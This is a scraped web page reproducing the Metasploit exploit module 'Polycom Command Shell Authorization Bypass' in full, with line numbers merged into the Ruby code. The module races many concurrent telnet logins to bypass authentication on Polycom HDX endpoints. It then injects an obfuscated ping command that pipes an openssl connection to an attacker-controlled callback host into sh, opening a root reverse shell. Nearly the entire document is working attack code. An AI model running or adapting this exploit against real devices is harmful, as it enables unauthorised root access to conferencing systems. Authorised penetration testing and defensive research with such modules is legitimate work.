Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Polycom Command Shell Authorization Bypass',15'Alias' => 'polycom_hdx_auth_bypass',16'Author' =>17[18'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module19'h00die <[email protected]>', # submission/cleanup20],21'DisclosureDate' => '2013-01-18',22'Description' => %q(23The login component of the Polycom Command Shell on Polycom HDX24video endpoints, running software versions 3.0.5 and earlier,25is vulnerable to an authorization bypass when simultaneous26connections are made to the service, allowing remote network27attackers to gain access to a sandboxed telnet prompt without28authentication. Versions prior to 3.0.4 contain OS command29injection in the ping command which can be used to execute30arbitrary commands as root.31),32'License' => MSF_LICENSE,33'References' =>34[35[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],36[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],37[ 'EDB', '24494']38],39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Privileged' => true,42'Targets' => [ [ "Universal", {} ] ],43'Payload' =>44{45'Space' => 8000,46'DisableNops' => true,47'Compat' => { 'PayloadType' => 'cmd' }48},49'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },50'DefaultTarget' => 051)52)5354register_options(55[56Opt::RHOST(),57Opt::RPORT(23),58OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),59OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])60], self.class61)62register_advanced_options(63[64OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),65OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])66], self.class67)68end6970def check71connect72sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")73Rex.sleep(1)74res = sock.get_once75disconnect7677if !res && !res.empty?78return Exploit::CheckCode::Safe79end8081if res =~ /Welcome to ViewStation/82return Exploit::CheckCode::Appears83end8485Exploit::CheckCode::Safe86end8788def exploit89# Keep track of results (successful connections)90results = []9192# Random string for password93password = Rex::Text.rand_text_alpha(rand(5) + 1)9495# Threaded login checker96max_threads = datastore['THREADS']97cur_threads = []9899# Try up to 100 times just to be sure100queue = [*(1..datastore['MAX_CONNECTIONS'])]101102print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")103until queue.empty?104while cur_threads.length < max_threads105106# We can stop if we get a valid login107break unless results.empty?108109# keep track of how many attempts we've made110item = queue.shift111112# We can stop if we reach max tries113break unless item114115t = Thread.new(item) do |count|116sock = connect117sock.put(password + "\n")118res = sock.get_once119120until res.empty?121break unless results.empty?122123# Post-login Polycom banner means success124if res =~ /Polycom/125results << sock126break127# bind error indicates bypass is working128elsif res =~ /bind/129sock.put(password + "\n")130# Login error means we need to disconnect131elsif res =~ /failed/132break133# To many connections means we need to disconnect134elsif res =~ /Error/135break136end137res = sock.get_once138end139end140141cur_threads << t142end143144# We can stop if we get a valid login145break unless results.empty?146147# Add to a list of dead threads if we're finished148cur_threads.each_index do |ti|149t = cur_threads[ti]150unless t.alive?151cur_threads[ti] = nil152end153end154155# Remove any dead threads from the set156cur_threads.delete(nil)157158Rex.sleep(0.25)159end160161# Clean up any remaining threads162cur_threads.each { |sock| sock.kill }163164if !results.empty?165print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")166do_payload(results[0])167else168print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")169end170end171172def do_payload(sock)173# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise174cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])175176# Start a listener177start_listener(true)178179# Figure out the port we picked180cbport = self.service.getsockname[2]181182# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128183cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"184sock.put(cmd)185186# Give time for our command to be queued and executed1871.upto(5) do188Rex.sleep(1)189break if session_created?190end191end192193def stage_final_payload(cli)194print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")195cli.put(payload.encoded + "\n")196end197198def start_listener(ssl = false)199comm = datastore['ListenerComm']200if comm == 'local'201comm = ::Rex::Socket::Comm::Local202else203comm = nil204end205206self.service = Rex::Socket::TcpServer.create(207'LocalPort' => datastore['CBPORT'],208'SSL' => ssl,209'SSLCert' => datastore['SSLCert'],210'Comm' => comm,211'Context' =>212{213'Msf' => framework,214'MsfExploit' => self215}216)217218self.service.on_client_connect_proc = proc { |client|219stage_final_payload(client)220}221222# Start the listening service223self.service.start224end225226# Shut down any running services227def cleanup228super229if self.service230print_status("Shutting down payload stager listener...")231begin232self.service.deref if self.service.is_a?(Rex::Service)233if self.service.is_a?(Rex::Socket)234self.service.close235self.service.stop236end237self.service = nil238rescue ::Exception239end240end241end242243# Accessor for our TCP payload stager244attr_accessor :service245end246247248